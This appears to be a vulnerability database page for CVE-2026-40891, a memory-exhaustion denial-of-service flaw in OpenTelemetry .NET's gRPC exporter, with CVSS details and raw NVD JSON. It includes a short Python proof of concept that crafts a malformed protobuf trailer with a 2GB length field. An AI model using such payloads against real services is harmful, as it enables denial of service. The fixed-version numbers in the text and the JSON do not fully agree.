Security Vulnerability Report
中文
CVE-2026-40891 CVSS 5.3 MEDIUM

CVE-2026-40891

Published: 2026-04-23 18:16:28
Last Modified: 2026-04-29 14:15:05

Description

OpenTelemetry dotnet is a dotnet telemetry framework. From 1.13.1 to before 1.15.2, When exporting telemetry over gRPC using the OpenTelemetry Protocol (OTLP), the exporter may parse a server-provided grpc-status-details-bin trailer during retry handling. Prior to the fix, a malformed trailer could encode an extremely large length-delimited protobuf field which was used directly for allocation, allowing excessive memory allocation and potential denial of service (DoS). This vulnerability is fixed in 1.15.2.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:opentelemetry:opentelemetry:*:*:*:*:*:.net:*:* - VULNERABLE
OpenTelemetry dotnet >= 1.13.1, < 1.15.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual PoC for generating malicious gRPC trailer import struct # Simulate crafting a malformed protobuf message for grpc-status-details-bin # The vulnerability is the 'length' field being extremely large. # Protobuf format: [Field Number << 3 | Wire Type] [Length] [Data] field_number = 1 wire_type = 2 # Length-delimited tag = (field_number << 3) | wire_type # Malicious length: e.g., 2GB (0x80000000) malicious_length = 0x80000000 # Encode tag and length as varint (simplified) def encode_varint(n): data = b'' while n > 0x7F: data += bytes([(n & 0x7F) | 0x80]) n >>= 7 data += bytes([n]) return data trailer_payload = encode_varint(tag) + encode_varint(malicious_length) # The actual data would be missing or truncated, causing allocation attempt. print(f"Malicious Trailer Payload (Hex): {trailer_payload.hex()}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40891", "sourceIdentifier": "[email protected]", "published": "2026-04-23T18:16:28.483", "lastModified": "2026-04-29T14:15:05.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenTelemetry dotnet is a dotnet telemetry framework. From 1.13.1 to before 1.15.2, When exporting telemetry over gRPC using the OpenTelemetry Protocol (OTLP), the exporter may parse a server-provided grpc-status-details-bin trailer during retry handling. Prior to the fix, a malformed trailer could encode an extremely large length-delimited protobuf field which was used directly for allocation, allowing excessive memory allocation and potential denial of service (DoS). This vulnerability is fixed in 1.15.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-789"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opentelemetry:opentelemetry:*:*:*:*:*:.net:*:*", "versionStartIncluding": "1.13.1", "versionEndExcluding": "1.15.3", "matchCriteriaId": "9BACBB49-0AF7-4FB3-AAFB-1C9AB3E43F60"}]}]}], "references": [{"url": "https://github.com/open-telemetry/opentelemetry-dotnet/pull/5980", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/open-telemetry/opentelemetry-dotnet/pull/7064", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/open-telemetry/opentelemetry-dotnet/security/advisories/GHSA-mr8r-92fq-pj8p", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}